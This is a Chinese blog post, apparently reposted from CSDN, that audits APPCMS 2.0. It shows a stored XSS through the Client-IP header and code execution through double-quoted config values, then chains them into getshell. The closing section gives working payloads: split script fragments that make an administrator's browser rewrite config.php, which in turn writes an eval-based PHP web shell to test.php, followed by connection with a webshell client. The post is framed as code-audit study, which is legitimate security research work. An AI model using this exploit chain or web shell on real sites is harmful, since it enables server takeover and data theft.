审计实战之appcms XSS+配置文件命令执行getshell

背景

APPCMS是一套专业的APP内容管理系统,它提供了资讯、推荐位、专题、友链、正文内链等各种扩展模块,帮助站长更好的个性化自己的网站。在学习代码审计的过程中发现APPCMS在APP评论区域存在存储型XSS,并且其配置文件由于使用了双引号存在命令执行的风险,为此本文考虑结合上面两种方式来实现Getshell。

环境:

  • phpstudy(php5.2.17+Apache+mysql)
  • APPCMS 2.0
  • Notepad++
  • PHPStorm
  • Burpsuite
  • Firefox

配置文件命令执行漏洞

配置文件命令执行漏洞是由于配置文件使用双引号包含内容所导致,在PHP中双引号包围的内容会被解释,而单引号所包围的内容不会,比如下面的代码:

<?php
$a = "test";
echo "$a".'<br>';
echo '$a';
?>

执行结果如下图所示:
图1
为此如果配置文件中的内容使用双引号且所包含的值用户可控的话则可以结合Complex (curly) syntax来达到命令执行的目的,简单例子如下:

//modify_config.php,用于修改配置文件
<?php
$file_content = file_get_contents('config.php');
foreach($_GET as $name => $val){
$file = preg_replace('/define\("'.$name.'"\s*,\s*"(.*)"\)\s*;/i','define("'.$name.'","'.$val.'");',$file_content);
}
file_put_contents('config.php',$file);
?>
//config.php 配置文件
<?php
define("title", "test"); 
?>
//index.php 包含有config.php的文件
<?php
require('config.php');
?>

首先访问modify_config.php文件(http://127.0.0.1/vuln/CTF/1/modify_config.php?title={${phpinfo()}}),这时config.php文件变为

<?php
define("title","{${phpinfo()}}");
?>

接着访问index.php文件,页面内容如下:
图2
上述例子简单的展示了配置文件使用双引号造成命令执行漏洞,接下来通过动态审计来介绍下APPCMS中存在的配置文件命令执行漏洞,管理员登录后可以通过网站配置页面来配置网站的一些基本信息,页面如下:
图3
在点击确定后向http://127.0.0.1/vuln/cms/appcms/abc/set.php?m=save页面发送POST请求,数据如下:
图4
后台页面收到这些请求后首先在调用check_admin() 来进行权限检查,此函数代码如下:
图5
上述函数没有通过token来检查用户权限这为CSRF攻击留下机会。紧接着对POST请求数据进行遍历并简单处理后将其作为参数传给了set_config() 函数:
图6
set_config() 函数代码如下:
图7
可以看到set_config()也没有对传入参数进行过多的处理直接通过正则替换改变了文件的内容,遍历完成之后通过file_put_contents()函数将修改后的内容存入config.php,其他页面包含了config.php的页面(比如index.php)均会触发传入的命令。

XSS漏洞

进入APPCMS主页选择软件随便点击一个(以Camera360为例)都可以在页面最下方看到如下的评论框,这里允许任何用户匿名发表评论,随便填写一些内容点击发表评论

图8
进入到index.php页面,首先通过$_GET及$_POST初始化$page变量
图9
初始化完成后在第36行页面调用了m_add函数,继续跟进函数
图10
m_add函数首先调用htmlspecialchars对POST数据进行处理防止XSS攻击,需要注意的是htmlspecialchars没有指定flags参数,所以不会对单引号进行编码
图11
进行完上述操作后此函数初始化了$fields变量,在79行调用了getip() 函数获得ip作为$fields[‘ip’]的值
图12
跟进getip() 函数,函数代码如下,此函数通过获得环境HTTP_CLIENT_IP等环境变量来获得IP并且没有对其进行过滤为此可以修改POST请求头部,添加Client-IP字段来实现XSS
图13
回到m_add函数在63行调用过了single_insert() 函数,继续跟进
图14
single_insert() 函数遍历$fields使用其键值初始化了$sql_field,使用其值初始化了$sql_value,然后构造SQL语句传递给 query_insert() 函数执行
图15
跟进到 query_insert() 函数,代码如下,此函数直接调用了mysql_query执行SQL语句。
图16
上述流程是污染数据进入数据库的整个过程,污染数据的入口就是头部的Client-IP参数,接下来给Client-IP赋值为 <h1>test</h1> ,并且发送
图17
发送成功后刷新评论页面看到如下图所示的内容,传入的污染数据并没有按照预想的显示出来,这肯定是某个环节出了问题,
图18
进入数据库查询存放评论内容的 appcms_comment 表,表中内容如下,ip内容已经变为了传入的payload这证明payload传入这个环节没有问题。
图19
那么问题只能出在数据是输出的环节了,接下来刷新评论页面通过动态调试寻找问题出现的原因,在152行调用 get_content() 函数获得页面内容
图20
跟进函数在函数的718行调用了 get_comments() 函数获得评论内容,继续跟进
图21
get_comment() 函数的第742行通过调用 **show_comment()**函数获得评论内容的html,其传入参数为$top_comment通过下面的变量框可以看到ip对应的值任然是之前出入的payload,所以到目前这一步还没出现问题,继续跟进函数
图22
show_comment 函数的786行终于发现问题的原因了,html中的IP信息是经过处理的,首先判断ip键值对应的值最后’.‘的位置然后将其取它从零到这个位置的子串最后拼接上".*",旨在保护评论者的IP不被泄露。而之前传入的payload的没有’.‘所以取子串就取不到东西了。
图23
这里还需要看一下存放评论内容的表(appcms_comment)的定义,如下,可以看到ip字段的长度被定义为了20这就说明传入的payload不能超过20字节。
图24
接着再次将之前的payload尾部加上’.'后传递过去
图25
刷新评论页面,可以看到已经成功了。
图26

构造payload

上面的两个漏洞中,第一个漏洞虽然能命令执行但是需要管理员权限,可以与第二漏洞结合来实现getshell。首先通过XSS漏洞在评论页面嵌入恶意代码让其向配置文件页面POST写入shell的payload,由于XSS收到长度限制通过下面方法构造恶意代码:

  • 第一个POST请求将Client-IP设置为 */</script>.,comment设置为 {${fwrite(fopen(‘test.php’,‘w’),’<?php @eval($_POST[\‘cmd\’]);?>’)}}
    图27
  • 第二个POST请求将Client-IP设置为 <script>/*.,comment设置为 */$(function(){$.post(‘http://127.0.0.1/vuln/cms/appcms/abc/set.php?m=save’, {‘site_name’: $(‘div.list_con_mid’)[0].innerText});});/*
    图28
    以管理员身份登录,然后刷新评论页面观察请求数据如下:
    图29
    响应信息及配置文件内容如下:
    图30
    访问index.php(此页面包含了config.php)后根目录下出现test.php文件,内容如下:
    图31
    上菜刀:
    图32

猜你喜欢

转载自blog.csdn.net/Blood_Pupil/article/details/82973709